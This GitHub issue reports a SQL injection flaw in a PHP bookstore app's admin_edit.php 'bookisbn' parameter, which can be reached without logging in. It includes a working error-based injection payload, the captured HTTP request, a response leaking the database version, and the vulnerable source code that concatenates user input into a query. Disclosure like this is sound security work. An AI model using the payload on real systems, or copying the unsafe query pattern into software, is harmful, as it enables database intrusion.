

New issue

[Jump to bottom](#)

there is a sql injection vulnerability in admin_edit.php parameter "bookisbn" #12

[Open](#) liao10086 opened this issue on Jan 17, 2020 · 0 comments

liao10086 commented on Jan 17, 2020

version:1.0

No login required.

POC:

[http://127.0.0.1:8888/admin_edit.php?bookisbn=1' or updatexml\(1,concat\(0x7e,\(version\(\)\)\)\),0\) -- a](http://127.0.0.1:8888/admin_edit.php?bookisbn=1' or updatexml(1,concat(0x7e,(version()))),0) -- a)

Go Cancel < > Follow redirection Target: http://10.11.33.206:8888

Request

Raw Params Headers Hex

```
GET /admin_edit.php?bookisbn=1%27%20or%20updatexml(1,concat(0x7e,(version()))),0) --a HTTP/1.1
Host: 10.11.33.206:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=7080fb8c6521683c23cd947d86610c
Upgrade-Insecure-Requests: 1
```

Response

Raw Headers Hex HTML Render

```
<link href="/bootstrap/css/bootstrap-theme.min.css" rel="stylesheet">
<link href="/bootstrap/css/jumbotron.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false"
aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.php">CSI Bookstore</a>
</div>
</div>
</nav>
<div class="collapse">
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav navbar-right">
<li><a href="publisher_list.php"><span class="glyphicon glyphicon-paperclip"></span>&nbsp;Publisher</a></li>
<li><a href="books.php"><span class="glyphicon glyphicon-book"></span>&nbsp;Books</a></li>
<li><a href="contact.php"><span class="glyphicon glyphicon-phone-alt"></span>&nbsp;Contact</a></li>
<li><a href="cart.php"><span class="glyphicon glyphicon-shopping-cart"></span>&nbsp;My Cart</a></li>
</ul>
</div>
</div>
<div class="container" id="main">Can't retrieve data XPATH syntax error: '~5.7.26'
```

View source code admin_edit.php

```
1 <?php
2 session_start();
3 require_once "../functions/admin.php";
4 $title = "Edit book";
5 require_once "../template/header.php";
6 require_once "../functions/database_functions.php";
7 $conn = db_connect();
8
9 if(isset($_GET['bookisbn'])){
10     $book_isbn = $_GET['bookisbn'];
11 } else {
12     echo "Empty query!";
13     exit;
14 }
15
16 if(!isset($book_isbn)){
17     echo "Empty isbn! check again!";
18     exit;
19 }
20
21 // get book data
22 $query = "SELECT * FROM books WHERE book_isbn = '$book_isbn'";
23 $result = mysqli_query($conn, $query);
24 if(!$result){
25     echo "Can't retrieve data ". mysqli_error($conn);
26     exit;
27 }
28 $row = mysqli_fetch_assoc($result);
29 ?>
30 <form method="post" action="edit_book.php" enctype="multipart/form-data"
```

suggest:Please filter input of parameter "bookisbn"

author:zionlab@dbappsecurity.com.cn

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

